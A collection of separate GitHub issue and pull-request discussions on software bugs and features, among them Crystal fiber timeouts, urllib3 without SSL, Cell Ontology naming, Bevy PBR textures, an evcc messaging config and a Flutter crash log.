Use letfclick with left shift on item
Look at slot 9 in hotbar (moved item from first slot and added one item from bug)

Version (make sure you are on the latest version before reporting):
**Forge: 1.7.10-<IP_ADDRESS>4
**Mekanism: 1.7.10-<IP_ADDRESS>1
**Other relevant version: I've tested with latest version from github (MekanismAll-1.7.10-9.1.1.homebaked.jar) but bug exist in this version :/
Please help ;)

1.7.10 isn't supported anymore. Development is currently focused on 1.11.2 ( and probably switching to 1.12 soon).
If I remember correctly, it is fixed in 1.10 and onwards.

Ok. But how can I fix this? If 1.7.10 is not supported anymore...

The fix is somewhere in 650 commits, I don't think you can find it that easy.
I can only advice updating to a more recent version  of Minecraft.

Ok. I fixed this with my friend :D
By adding "!" somewhere xD
My friend:
ezz to fix <3


Delete account route

Route to delete users from firebase and NPO DB.

/cib delete account route

Branch 9-delete-account-route created!


[PE-D][Tester D] Inconsistent Date Format Handling in UG

In the Contact Field Requirements section, the format of date of last visit is specified as DD-MM-YYYY. However, the example add command given in the Command Summary is in the format MM-DD-YYYY, which leads to confusion.

Labels: severity.Low type.DocumentationBug
original: tansanchian/ped#2

Fix both the mm-dd thing and the capitalisation


Fiber#wakeup to wake up sleeping fibers

Allow waking up sleeping fibers. I know this is a controversial topic, "fibers shouldn't have a public API" etc., but Channel doesn't have timeout mechanism and in our app we can over time accumulate hundreds of thousands of sleeping fibers that eventually will wake up and do nothing, so we've monkey patched our app with this functionality.
Very simplified we got something like this now:
ch = Channel(Int32).new
loop do
  waiting = true
  f = spawn do
    sleep 60
    ch.close if waiting
  end
  v = ch.receive? || break
  waiting = false
  f.wakeup
  work(v)
end

Of course a "native" timeout argument to Channel#receive and Channel#send would be even more elegant (and one that don't necessarily closes the channel, but raises a Channel::Timeout exception maybe).

I get why you want this, and TBH this is the pains you see in Ruby with green-threads, because we lack parallelism (which is "coming" (c) - trademark by manas)  I think this and other ways to "make it work" won't be really needed once multi-threading lands (soon, really, in 1-100 years)

I would abstain from modifying anything related to concurrency.
The core team is working on this. Eventually we'll have parallelism, and once we have that we'll start having more primitives and methods for timeouts, scheduling, etc.
Anything touching this will most likely conflict with the existing work.

It doesn't really add anything new. Calling Crystal::Scheduler.enqueue(Fiber.current) and     Crystal::Scheduler.resume(self) is already available anyway. Essentially, it's just a delayed version of Fiber#resume.
Deleting the resume event should probably happen in Crystal::Scheduler.enqueue in any case.

Channel doesn't have timeout mechanism

The idea would be to use select and have something like this:
chan = Channel(Int32).new

select
when x = chan.receive
  puts "Got #{x}"
when sleep(3)
  puts "Timeout!"
end

but we never got to implement sleep_select_action (which is what sleep turns into inside a select).
But then you can do it like this:
chan = Channel(Int32).new
sleep_chan = Channel(Nil).new

spawn do
  sleep(3)
  sleep_chan.send(nil)
end

select
when x = chan.receive
  puts "Got #{x}"
when sleep_chan.receive
  puts "Timeout!"
end

And then you can have something like this:
def receive_with_timeout(chan, timeout)
  sleep_chan = Channel(Nil).new
  spawn do
    sleep(timeout)
    sleep_chan.send(nil)
  end

  select
  when x = chan.receive
    x
  when sleep_chan.receive
    raise "Timeout!"
  end
end

chan = Channel(Int32).new

x = receive_with_timeout(chan, 3.seconds)
puts x

(or with a block, different exception, etc.).

This seems to work too:
def sleep_select_action(timeout)
  chan = Channel(Nil).new
  spawn do
    sleep(timeout)
    chan.send(nil)
  end
  Channel::ReceiveAction.new(chan)
end

chan = Channel(Int32).new

select
when x = chan.receive
  puts "Got #{x}"
when sleep(3)
  puts "Timeout!"
end

However, I think @waj's idea was to avoid having to create a Channel just for a timeout.

(but with could go with that implementation for now and eventually optimize it)

@straight-shoota  I'm not sure deleting the event in Crystal::Scheduler.resume is smart, the "sleep event" it self is calling Crystal::Scheduler.resume when fired: https://github.com/crystal-lang/crystal/blob/0.29.0/src/crystal/event_loop.cr#L21
So it would in most cases just try to delete something that isn't there.
@asterite Sure, that's a nice way to solve the same problem with the existing API, but if the sleep is say an hour or even days (real use case in our code), won't there still be an massive amount of fibers hanging around eventually?

@carlhoerberg But if you want to eventually kill it, instead of calling wakeup you can just send a message over a channel and have that fiber consume it... I think?

no, it's sleeping, not receiving on a channel, so how would that work?
Note that this is not like killing or canceling a fiber with all gory details that entails, this just cancels the event and resumes the fiber gracefully (https://github.com/crystal-lang/crystal/pull/6450), it's in no way "dangerous" or changes API/behavior, just adds a capability, canceling sleeps.

I mean, you have this:
ch = Channel(Int32).new
loop do
  waiting = true
  f = spawn do
    sleep 60
    ch.close if waiting
  end
  v = ch.receive? || break
  waiting = false
  f.wakeup
  work(v)
end

You can do it without wakeup by using a separate channel:
def sleep_select_action(timeout)
  chan = Channel(Nil).new
  spawn do
    sleep(timeout)
    chan.send(nil)
  end
  Channel::ReceiveAction.new(chan)
end

ch = Channel(Int32).new
loop do
  waiting = true
  wakeup = Channel(Nil).new
  f = spawn do
    select
    when sleep 60
      # Timeout...
    when wakeup.receive
      # Wakeup
    end
    ch.close if waiting
  end
  v = ch.receive? || break
  waiting = false
  wakeup.send(nil)
  work(v)
end

I'm just saying that:

This seems to be already doable without changing anything
There's probably a good reason there's no "wakeup" in Go

No, now you got two fibers for no reason. The "sleeping" fiber in sleep_select_action will still be hanging around even after wakeup.send(nil). And if the timeout is hours or days and you do this very often you will create a memory leak. I'm pretty sure go cancel its timeout timer when the channel has received something, your example doesn't.

Yes, the idea was to find a way to do the timeout without spawn and Channel.

Actually, maybe this can work. But we'll need input from someone else from the core team that knows more about concurrency, and whether this is safe/intuitive.

Another thing: when we have multiple threads it would be incorrect to wake up a fiber from another thread... meaning it will crash badly.
I think we'll probably also make spawn return Nil so you can't hold a reference to a fiber.
Also, why is the fiber doing sleep? I'm not sure I understand.

If you can implement a channel timeout without sleep (and memory leaks) I'm all ears, I guess with some custom libevent event just for channel timeouts

Have anyone tried implementing Channel with libevent user events (event_action)? Or should I give it a try? Much like IO::Evented but manually activating the read/write event from the sender/receiver.

As I said, I don't think it's worth spending time on these things. When parallelism lands it won't share a single bit of similarity with the code that exists now.


Mock Profiles

Implemented function for random user profile generation
Updated actions.py to use generated mock profile data
Updated amount_transferred slot sets to persist across multiple transactions
Added date filtering to transaction search action
Added slots to domain.yml for storing generated profile data
Added utter_unknown_recipient to handle scenario when transfer is requested to someone not in list of known_recipients

Thanks for submitting a pull request 🚀 @Ghostvv will take a look at it as soon as possible ✨

@b-quachtran could you add whichever email address is associated with those commits to your github profile (you can check locally with git config --list)? otherwise it looks like an unknown person committing. Full guide here: https://help.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address

Yep, added two new intents check_recipients and check_credit_card_balance that will show user profile info. Also added conditions in the transfer/cc pay custom actions to check if the payment/transfer amount exceeds the current balance.

@b-quachtran if this is ready for another review, make sure to request it from someone (prob better @erohmensing because melinda is offline for the next week)


(#757) Allow buttons to be enabled/disabled

The decision was taken to allow a button to be enabled/disabled based on
current Chocolatey configuration (mainly when running in background
service mode). To allow for this, whilst still allowing a button to be
enabled/disabled based on application logic, a new behavior was
introduced to encapsulate this logic.
This will allow the Chocolatey GUI Licensed Extension to override the
AllowedCommandsService, to control which operations should be enabled
and disabled, based on the background service configuration.
Relates to #757

@punker76 I have looked at what you suggested, and I have updated the relevant sections.  I have tested it out this morning, and this is what is now happening.
While running as a normal OSS user of Chocolatey GUI, you will get the following:

i.e. all buttons enabled, and tooltips correctly showing what should be done.
But when running with the Chocolatey GUI Licensed Extension, which will respect the current configuration in the backgroundServiceAllowedCommands setting, you will get the following:

i.e. the options that are not allowed will be disabled, the the tooltip will provide information about what is going on.
What do you think?


Parse PHP to find searchable classes without loading them

This should fix #139

@matchish Do you agree with this? Greetings.

Don't know about compatibility with PHP8 but you did great work) Thanks a lot!


[SPARK-40294][SQL] Fix repeat calls to PartitionReader.hasNext timing out

What changes were proposed in this pull request?

This change ensures that, once PartitionReader.hasNext returns false once, subsequent calls to PartitionReader.hasNext will not call reader.next() (which before could cause a timeout).
Why are the changes needed?

This change prevents potential performance regressions caused by parent nodes that call PartitionIterator.hasNext even after it returns false once.
Does this PR introduce any user-facing change?

No
How was this patch tested?

Existing tests

Can one of the admins verify this patch?

Does DSv1 have similar problems?

ping @richardc-db

Closed in favor of https://github.com/apache/spark/pull/37743


[WIP] DEQ layer

Working on getting a Deep Equilibrium Model (DEQ) layer to work via the SteadyStateProblem construction from DifferentialEquations. @ChrisRackauckas and @YingboMa are helping with the adjoints...

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@08017eb). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master       #4   +/-   ##
=========================================
  Coverage          ?   60.00%
=========================================
  Files             ?        3
  Lines             ?       70
  Branches          ?        0
=========================================
  Hits              ?       42
  Misses            ?       28
  Partials          ?        0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 08017eb...de6de68. Read the comment docs.

DEQ works enough to merge here. Note that I removed the manifest since it usually interferes with package tests. Specifically, the manifest needed a DiffEqBase high enough to have the overload
https://github.com/SciML/DiffEqBase.jl/blob/v6.48.2/src/zygote.jl#L29-L36
This DEQ requires https://github.com/aced-differentiate/ChemistryFeaturization.jl/pull/27 to train. All of that together it now works in this PR. That said, the DEQ algorithm as done right now is memory efficient but not compute efficient. I have some ideas, a few mentioned but not detailed in the original paper and a few not mentioned, which would drastically decrease the compute times.
One thing I found interesting was that Newton methods were by far the most efficient for the forward pass. You can see the ruminants of how to use Anderson acceleration: that was a no. And DynamicSS was also a big no, both taking around 5,000 seconds for a forward pass vs 1,800 of Newton. Probably quasi-Newton would be best to avoid the LU costs: the LU was by far the dominant cost.
For the reverse pass the autodiff = false is a bit of a red herring: even with true it's direct construction of the Jacobian and inversion. Numerical vs forward diff wouldn't reduce the computational complexity there. From the paper and the Python code (10) isn't a great way to do it because it makes a ton of assumptions which are violated by our minibatching. What they mention as (11) which is also described in the ODE section of https://youtu.be/KCTfPyVIxpc (and you can see the adjoint of a nonlinear solve, i.e. what is also derived in the DEQ paper but is a much older result. Best source is SGJ's teaching materials: https://math.mit.edu/~stevenj/18.336/adjoint.pdf) is that the nonlinear solve can be done via a Krylov subspace method. Specifically, instead of doing that Newton solve directly, we can use the vjp of f in a GMRES to handle that much more effectively. But I'll leave that for another time.
My general assessment is that, as is, this method is very memory efficient but not compute efficient, but there is a pretty major change that can be done to improve the training performance which I'll see if I can take up as a research project. But at least this is "usable" now.

Merge and work from here? It's probably easier than rebasing again.


urllib3 does not install if Python has no SSL support

( Moved over from requests: https://github.com/kennethreitz/requests/issues/306 )
On attempting to import urllib3 in a python environment without SSL support, the following error is received:
File "urllib3/connectionpool.py", line 11, in <module>
    from httplib import HTTPConnection, HTTPSConnection, HTTPException
ImportError: cannot import name HTTPSConnection

For comparison / reference, urllib2 does import on the same system. Attempting to retrieve a HTTPS url via urllib2.urlopen(...) results in this error:
urllib2.URLError: <urlopen error unknown url type: https>

Standard HTTP requests, however, using urllib2 work fine in this python environment.
Perhaps urllib3 should error out in a similar fashion?

Marking as Urgent. Aiming to get this into the next release or the one after.

@pudquick Can you confirm that this works as expected now?

Please re-open this issue, it's still a problem, only different now:
line 16, in <module>
    from .connectionpool import (
line 75, in <module>
    class VerifiedHTTPSConnection(HTTPSConnection):
TypeError: Error when calling the metaclass bases
    cannot create 'NoneType' instances

It's progress, but looks like the new build is still attempting to subclass HTTPSConnection (when it doesn't exist / isn't available without SSL).

@pudquick Ah right, I should have tested this more aggressively. I'll fix this ASAP tonight or tomorrow and push 1.2.1.

Maybe instead of using HTTPSConnection = None on line 33 in connectionpool.py, you can use one of these recipes:
"Null" class: http://code.activestate.com/recipes/68205/
"Dummy" class: http://code.activestate.com/recipes/576447/
Or, since someone without SSL really doesn't care how the VerifiedHTTPSConnection object works ... you could also just "import HTTPConnection as HTTPSConnection". Not sure if this is the "right" way to do it, but would save injecting more code.

@pudquick How about now?
I avoided doing HTTPSConnection = HTTPConnection because I think in some versions of Python there is actually a version of HTTPSConnection which does not depend on ssl (which does not do verification). So I think they're different things? I'm not completely sure.

Closing it!!
Fantastic work, thank you so much. Both urllib3 and requests now work on this SSL-less environment :) So happy!
Thank you for all your hard work.


unify naming conventions and taxon axioms for species-specific cell types

CL is a frankenstein ontology when it comes to taxon specificity:

historic sensus, to genera and above; e.g CL:0000662 ! neuroglioblast (sensu Nematoda)
sensus to 3 letter codes with expresses axioms; e.g: CL:0000754 ! type 2 cone bipolar cell (sensu Mus)
4 letter code with expresses axioms; e.g. CL:4023007 ! L2/3 bipolar vip GABAergic cortical interneuron (Mmus)
common names with has plasma membrane part axioms; e.g. CL:0002426 ! CD11b-positive, CD27-positive natural killer cell, mouse

The axiomatization is also pretty uneven - here are sample edges:

subject
subject_label
predicate
predicate_label
object
object_label

CL:0000754
type 2 cone bipolar cell (sensu Mus)
RO:0002292
expresses
PR:P50481
LIM/homeobox protein Lhx3 (mouse)

CL:0000754
type 2 cone bipolar cell (sensu Mus)
RO:0002292
expresses
PR:Q8R4I7
neuropilin and tolloid-like protein 1 (mouse)

CL:0000754
type 2 cone bipolar cell (sensu Mus)
RO:0002292
expresses
PR:Q9ER75
iroquois-class homeodomain protein IRX-6 (mouse)

CL:0002426
CD11b-positive, CD27-positive natural killer cell, mouse
RO:0002104
has plasma membrane part
PR:000001012
integrin alpha-M

CL:0002426
CD11b-positive, CD27-positive natural killer cell, mouse
RO:0002104
has plasma membrane part
PR:000001963
CD27 molecule

CL:4023007
L2/3 bipolar vip GABAergic cortical interneuron (Mmus)
RO:0002292
expresses
PR:P32648
VIP peptides (mouse)

Sometimes a species-level PRO term is used, sometimes gene level, is there a principle here?
I get the expresses vs plasma membrane relations reflect different experimental modalities for the cell types but this still feels unsatisfying and frankenstein-like

Also note for these 2, there is no direct OR inferred taxon constraints:
CL:0000662 ! neuroglioblast (sensu Nematoda)
CL:0000754 ! type 2 cone bipolar cell (sensu Mus)
Recommendations:

drop the string "sensu"
use PRO conventions for taxon name consistently (human, mouse, worm, etc)
always use species-specific PROs when the cell type is species specific
consistently populate in-taxon axioms

I agree with @cmungall comments; I'd say it is also a good opportunity to standardize which taxa are in the scope of CL.
PRO is clear on species-neutrality x species-specificity; without taxonomic genera-level entries. It is always neutral or "organism".  If we default to PRO conventions, we should avoid having  "mouse" meaning both the genus Mus or the species Mus musculus.
Maybe CL should provide just species-neutral terms for metazoa and species-specific terms for Homo sapiens and Mus musculus, adopting PRO's "(human)" and "(mouse)" nomenclature.  This seems to be generally the scope of CL already, it is just not specified anywhere.
Genera-and-above terms could be created on a case-by-case basis and have the taxonomic name under parenthesis, dropping the "sensu" word.
How hard would it be to have species-specific terms should be generated automatically by some pipeline parsing taxon constraints? This could be a way to enforce consistency.

Like Uberon, the scope of CL is all metazoa (excepting the most general classes that can be reused across all of life)
The focus is vertebrates, with particular emphasis on human and mouse. Even more so than Uberon, because the mouse ssAOs don't have cell types (well, MA, has two cell types, which is odd).
Great idea to have an automated check for the naming conventions.

Related issue:

https://github.com/obophenotype/cell-ontology/issues/1829

let's not close this


Add PBR textures

This PR adds normal maps on top of PBR #1554. Once that PR lands, the changes should look simpler.
Edit: Turned out to be so little extra work, I added metallic/roughness texture too. And occlusion and emissive.

https://user-images.githubusercontent.com/1319584/110938730-9964f300-8334-11eb-80d8-320bf661ef3a.mp4

Rebased on pbr.

Rebased on the latest pbr.

And rebased onto main now that #1554 has been merged.

Should the standard shapes like cube or sphere provide the tangent vertex attribute?

Looking at the image below, there is clearly something wrong with the normal mapping in the example.

One possible mistake I found is that in the fragment shader the sample taken from the normal map is not converted into the -1.0 to 1.0 range before being transformed to world space. But that alone doesn't seem to fix the issue.

Transferring @pkupper's comment from Discord for discoverability:

Another thing that's missing is calculating normals and tangents if they are not present in the gltf. Tried a normal map sample gltf for easier debugging (https://github.com/KhronosGroup/glTF-Sample-Models) and it didn't load due to missing tangents. The gltf spec defines how both should be calculated (https://github.com/KhronosGroup/glTF/tree/master/specification/2.0#meshes). But that is probably something for another PR.

Should the standard shapes like cube or sphere provide the tangent vertex attribute?

Possibly. Do we want to pull that into this PR? (neutral question) It has both pros and cons, I think, but I guess it does make sense to make this more fit for general use, rather than having to add that in a separate PR.

We're hitting a minor snag, where GltfLoader passes off the textures to be loaded as a Vec<AssetPath>, without any texture information. Specifically, we cannot tell AssetServer to create Linear textures from these, rather than Srgb.
I don't really know where to start fixing this. If somebody is able to help out, so I don't have to also dig into the Asset system, please do. Otherwise I may look into it this weekend or next week.

I think a second PR is fine for adding the missing tangent vertex attributes.

Rebase on #1762 in progress...

bors r+


retry eth_getLogs for publicnode

I was running into this error when using publicnode service:

Thought it would be helpful to include it as well.

This is great! Thank you


add kktech

@raykoshima Thank you for your patience while waiting for a review and processing your request. Pull request merged. Please start applying for JetBrains educational subscription at https://www.jetbrains.com/shop/eform/students in an hour, to allow the changes to propagate through JetBrains systems.


${.title} does not substitute

Describe the bug
I tried to receive Values via messaging.
the config line
    soc:       title: title       msg: |          msg_soc ${.title} {{.title}}
resolves to
msg_soc ${.title} Hof
where the string "Hof" is the actual title of the Wallbox.
According to the Examples
https://docs.evcc.io/docs/reference/configuration/messaging#msg
i believe this should already work.
Furthermore, it might be useful if you drop a word or a section to the
"| Newline"-Behavior of the syntax.
I will go with the {{}} for now.
Thank you,
Stephan
Steps to reproduce
enter the string "msg_soc ${.title} {{.title}}" as Message into the config and start evcc
Configuration details
.

Log details
.

What type of operating system are you running?
Docker container
Version
0.116.5

Cannot upload my .yaml file. Maybe you should allow this type, too.

`# open evcc at http://evcc.local:7070
network:
schema: http
host: evcc.local # .local suffix announces the hostname on MDNS
port: 7070
log: debug
levels:
cache: error
unique installation id
plant: *
interval: 10s # control cycle interval
sponsortoken: *
sponsors can set telemetry: true to enable anonymous data aggregation
see https://github.com/evcc-io/evcc/discussions/4554
telemetry: false
mqtt:
broker: 192.168.0.**
meters:

type: custom
name: grid
power:
source: mqtt
topic: tele/EINSPEISEZAEHLER/total_power
energy:
source: mqtt
topic: tele/EINSPEISEZAEHLER/total_energy_need

type: custom
name: pv
power:
source: mqtt
topic: tele/fsp10k/Solar_input_power_total
energy:
source: mqtt
topic: tele/ERZEUGUNGSZAEHLER/total_energy_feed

type: custom
name: batul
power:
source: mqtt
topic: tele/jkbms_unten_links/1_Power_total
scale: -1
energy:
source: mqtt
topic: tele/jkbms_unten_links/1_kWh_available
soc:
source: mqtt
topic: tele/jkbms_unten_links/1_SOC_total
capacity: 15

type: custom
name: batur
power:
source: mqtt
topic: tele/jkbms_unten_rechts/1_Power_total
scale: -1
energy:
source: mqtt
topic: tele/jkbms_unten_rechts/1_kWh_available
soc:
source: mqtt
topic: tele/jkbms_unten_rechts/1_SOC_total
capacity: 15

chargers:

type: template
template: alfen
id: 1
host: <IP_ADDRESS>
port: 502
modbus: tcpip
name: wallboxhof

type: template
template: alfen
id: 1
host: <IP_ADDRESS>
port: 502
modbus: tcpip
name: wallboxgarage

modbusproxy:

port: 5021
uri: <IP_ADDRESS>
port: 5022
uri: <IP_ADDRESS>
vehicles:
type: template
template: tesla
title: Turtle
accessToken:
refreshToken:
vin: LRW3E7****
capacity: 82
name: ev4

loadpoints:

title: Hof
charger: wallboxhof
mode: pv
phases: 0
mincurrent: 6
maxcurrent: 16
resetOnDisconnect: true
guardduration: 1m
vehicle: ev4

title: garage
charger: wallboxgarage
mode: pv
phases: 0
mincurrent: 6
maxcurrent: 16
resetOnDisconnect: true
guardduration: 1m

messaging:
services:

type: telegram
token: *****
chats:

events:
start: # charge start event
title: Charge started
msg: Started Charging in "${mode}" mode on Wallbox {{.title}} after {{.connectedDuration}}.
Status {{printf (%d-%02d-%02d %02d:%02d:%02d) now.Year now.Month now.Day now.Hour now.Minute now.Second}}
stop: # charge stop event
  title: charging stopped
  msg: charging stopped
connect:
  title: connect
  msg: connect
disconnect: # vehicle disconnected event
  title: "{{.vehicleTitle}} disconnected of wallbox {{.title}}"
  msg: |
    {{.vehicleTitle}} disconnected of wallbox {{.title}} after {{.connectedDuration}}.
    --------------------------
    evcc Status {{printf `(%d-%02d-%02d %02d:%02d:%02d)` now.Year now.Month now.Day now.Hour now.Minute now.Second}}
    Geladene Netz-Energie: {{round (divf .chargedEnergy 1000) 0 }} kWh
    Geladene Netz-Energie effizient: {{.savingsGridCharged}} Wh
    Geladene PV-Energie: {{.savingsSelfConsumptionCharged}} Wh
    Anteil Sonne in prozent:  {{.savingsSelfConsumptionPercent}} Wh
    Geladene Netz-Energie: {{.savingsTotalCharged}} Wh
    {{if .batteryConfigured}}Batteriespeicher-Status: {{round (divf .batteryPower 1000) 3 }} kW ({{.batterySoc }} %){{end}}
soc:
  title: title
  msg: |
    msg_soc ${.title} {{.title}}
guest: # unknown vehicle detected
  title: unbekanntes Fahrzeug
  msg: unbekanntes Fahrzeug an Wallbox ${.title} erkannt

site:
title: mysite
meters:
grid: grid
pv: pv
battery:
- batul
- batur
residualPower: 100
maxGridSupplyWhileBatteryCharging: 50
`

Its either
{{.title}}

or
${title}

both forms are equivalent


Libphal library support

PHAL(Power Hardware Abstraction Layer) utility library.
- utility library functions for PHAL repository provided APIs.
This is mainly intended for advanced RAS support for PHAL
provided APIs in a common place.

PHAL(Power Hardware Abstraction Layer) utility library.

utility library functions for PHAL repository provided APIs.
This is mainly intended for advanced RAS support for PHAL
provided APIs in a common place.

you can squash to fewer commits

some git  rebase issues , created new PR with addressing all the comments from here #11


feat: Goerli Smart Accounts.

Replaces #341 #342
Credit to @svenvoskamp @0xAsimetriq
Summary

Adds SmartAccount.lib and SmartAccountCard
If on Goerli testnet, generates a Safe Smart account for a given private key using Pimlico's bundler.
Displays Smart Account id.

Notes

Pimlico released a new version of permisionless but it breaks on Goerli
Had to re-do this PR given everything was reorganized and had 10k+ changes to resolve 🙏

using the new permissionlessv0.0.15 I get
Sepolia:

Goerli:


Backport the spec.copyPolicyMetadata field for 2.6

This a temporary change for a hotfix image that will be reverted.

/cc @JakobGray @dhaiducek


fix(config): change css regex which causes error

Closes angular/angular#11445

LGTM. Thanks!

@sarunint could you please login in https://cla.developers.google.com/ and accept the CLA?  Then once you've done it please comment back here, thanks! I'll merge once that's done.

I've already signed it. Not sure why @googlebot doesn't pick it up.

Rebased, and @googlebot finally noticed the CLA.

Thanks. As soon as travis is done Il'l merge. LGTM


Removed the transition type parameter

Codecov Report

Merging #140 into master will increase coverage by 0.06%.
The diff coverage is 92.1%.

@@            Coverage Diff            @@
##           master    #140      +/-   ##
=========================================
+ Coverage   84.43%   84.5%   +0.06%
=========================================
  Files         104     104
  Lines        2544    2542       -2
  Branches      129     128       -1
=========================================
  Hits         2148    2148
+ Misses        396     394       -2

Impacted Files
Coverage Δ

...m/ing/baker/runtime/petrinet/RecipeTokenGame.scala
100% <ø> (ø)
:arrow_up:

...ing/baker/il/petrinet/IntermediateTransition.scala
100% <ø> (ø)
:arrow_up:

...rocess_instance/ProcessInstanceSerialization.scala
92.22% <ø> (ø)
:arrow_up:

.../interations/MethodInteractionImplementation.scala
77.96% <ø> (ø)
:arrow_up:

...ala/com/ing/baker/runtime/actor/ProcessQuery.scala
100% <ø> (ø)
:arrow_up:

...com/ing/baker/runtime/petrinet/RecipeRuntime.scala
90% <ø> (ø)
:arrow_up:

...ain/scala/com/ing/baker/il/RecipeValidations.scala
97.29% <ø> (ø)
:arrow_up:

...ain/scala/com/ing/baker/petrinet/runtime/Job.scala
100% <ø> (ø)
:arrow_up:

...om/ing/baker/petrinet/dsl/colored/Transition.scala
0% <ø> (ø)
:arrow_up:

...la/com/ing/baker/il/petrinet/EventTransition.scala
100% <ø> (ø)
:arrow_up:

... and 28 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 23370d7...8939c94. Read the comment docs.


\CreateProcessW failed 193 Unhandled exception: ProcessException: %1 non

I downloaded flutter zip file (version 1.2.1), installed and also installed Android Studio, with android sdk ecc. I also have java-12 jdk. I updated the path variable with flutter/bin and when I try to run any flutter command the process ends with different messages depending on the command. For example with flutter doctor: \CreateProcessW failed 193 Unhandled exception: ProcessException: %1 non
If I try to create a project: Oops; flutter has exited unexpectedly.
Sending crash report to Google.
Crash report sent (report ID: 289bec89adcae115)
\CreateProcessW failed 193
Unhandled exception:
ProcessException: %1 non
Logs

    C:\Users\Lorenzo Pantano>flutter --verbose create foo
[  +28 ms] executing: [C:\flutter\] git rev-parse --abbrev-ref --symbolic @{u}
[  +88 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u}
[        ] origin/stable
[        ] executing: [C:\flutter\] git rev-parse --abbrev-ref HEAD
[  +56 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD
[        ] stable
[        ] executing: [C:\flutter\] git ls-remote --get-url origin
[  +52 ms] Exit code 0 from: git ls-remote --get-url origin
[   +1 ms] https://github.com/flutter/flutter.git
[   +1 ms] executing: [C:\flutter\] git log -n 1 --pretty=format:%H
[  +59 ms] Exit code 0 from: git log -n 1 --pretty=format:%H
[   +2 ms] 8661d8aecd626f7f57ccbcb735553edc05a2e713
[   +1 ms] executing: [C:\flutter\] git log -n 1 --pretty=format:%ar
[  +52 ms] Exit code 0 from: git log -n 1 --pretty=format:%ar
[   +1 ms] 7 weeks ago
[   +3 ms] executing: [C:\flutter\] git describe --match v*.*.* --first-parent --long --tags
[  +59 ms] Exit code 0 from: git describe --match v*.*.* --first-parent --long --tags
[   +1 ms] v1.2.1-0-g8661d8aec
[ +335 ms] Creating project foo...
[  +74 ms]   foo\.gitignore (created)
[  +38 ms]   foo\.idea\libraries\Dart_SDK.xml (created)
[  +34 ms]   foo\.idea\libraries\Flutter_for_Android.xml (created)
[  +17 ms]   foo\.idea\libraries\KotlinJavaRuntime.xml (created)
[  +12 ms]   foo\.idea\modules.xml (created)
[  +16 ms]   foo\.idea\runConfigurations\main_dart.xml (created)
[  +10 ms]   foo\.idea\workspace.xml (created)
[  +11 ms]   foo\.metadata (created)
[  +12 ms]   foo\android\app\build.gradle (created)
[  +20 ms]   foo\android\app\src\main\java\com\example\foo\MainActivity.java (created)
[  +16 ms]   foo\android\build.gradle (created)
[  +13 ms]   foo\android\foo_android.iml (created)
[  +16 ms]   foo\android\app\src\debug\AndroidManifest.xml (created)
[  +17 ms]   foo\android\app\src\main\AndroidManifest.xml (created)
[  +17 ms]   foo\android\app\src\main\res\drawable\launch_background.xml (created)
[  +10 ms]   foo\android\app\src\main\res\mipmap-hdpi\ic_launcher.png (created)
[   +4 ms]   foo\android\app\src\main\res\mipmap-mdpi\ic_launcher.png (created)
[   +8 ms]   foo\android\app\src\main\res\mipmap-xhdpi\ic_launcher.png (created)
[   +6 ms]   foo\android\app\src\main\res\mipmap-xxhdpi\ic_launcher.png (created)
[   +6 ms]   foo\android\app\src\main\res\mipmap-xxxhdpi\ic_launcher.png (created)
[   +7 ms]   foo\android\app\src\main\res\values\styles.xml (created)
[  +40 ms]   foo\android\app\src\profile\AndroidManifest.xml (created)
[   +7 ms]   foo\android\gradle\wrapper\gradle-wrapper.properties (created)
[   +8 ms]   foo\android\gradle.properties (created)
[   +9 ms]   foo\android\settings.gradle (created)
[  +54 ms]   foo\ios\Runner\AppDelegate.h (created)
[  +10 ms]   foo\ios\Runner\AppDelegate.m (created)
[  +10 ms]   foo\ios\Runner\main.m (created)
[  +12 ms]   foo\ios\Runner.xcodeproj\project.pbxproj (created)
[  +62 ms]   foo\ios\Runner.xcodeproj\xcshareddata\xcschemes\Runner.xcscheme (created)
[  +25 ms]   foo\ios\Flutter\AppFrameworkInfo.plist (created)
[  +10 ms]   foo\ios\Flutter\Debug.xcconfig (created)
[  +11 ms]   foo\ios\Flutter\Release.xcconfig (created)
[   +6 ms]   foo\ios\Runner\Assets.xcassets\AppIcon.appiconset\Contents.json (created)
[  +14 ms]<EMAIL_ADDRESS>(created)
[ +125 ms]<EMAIL_ADDRESS>(created)
[   +8 ms]<EMAIL_ADDRESS>(created)
[   +6 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[   +6 ms]<EMAIL_ADDRESS>(created)
[  +10 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[  +23 ms]<EMAIL_ADDRESS>(created)
[   +9 ms]<EMAIL_ADDRESS>(created)
[  +15 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[   +9 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[  +51 ms]   foo\ios\Runner\Assets.xcassets\LaunchImage.imageset\Contents.json (created)
[  +23 ms]   foo\ios\Runner\Assets.xcassets\LaunchImage.imageset\LaunchImage.png (created)
[   +6 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]<EMAIL_ADDRESS>(created)
[   +7 ms]   foo\ios\Runner\Assets.xcassets\LaunchImage.imageset\README.md (created)
[   +8 ms]   foo\ios\Runner\Base.lproj\LaunchScreen.storyboard (created)
[  +14 ms]   foo\ios\Runner\Base.lproj\Main.storyboard (created)
[  +11 ms]   foo\ios\Runner\Info.plist (created)
[  +13 ms]   foo\ios\Runner.xcodeproj\project.xcworkspace\contents.xcworkspacedata (created)
[  +10 ms]   foo\ios\Runner.xcodeproj\xcshareddata\xcschemes\Runner.xcscheme (existing - skipped)
[   +2 ms]   foo\ios\Runner.xcworkspace\contents.xcworkspacedata (created)
[   +6 ms]   foo\lib\main.dart (created)
[  +19 ms]   foo\foo.iml (created)
[  +13 ms]   foo\pubspec.yaml (created)
[  +17 ms]   foo\README.md (created)
[  +12 ms]   foo\test\widget_test.dart (created)
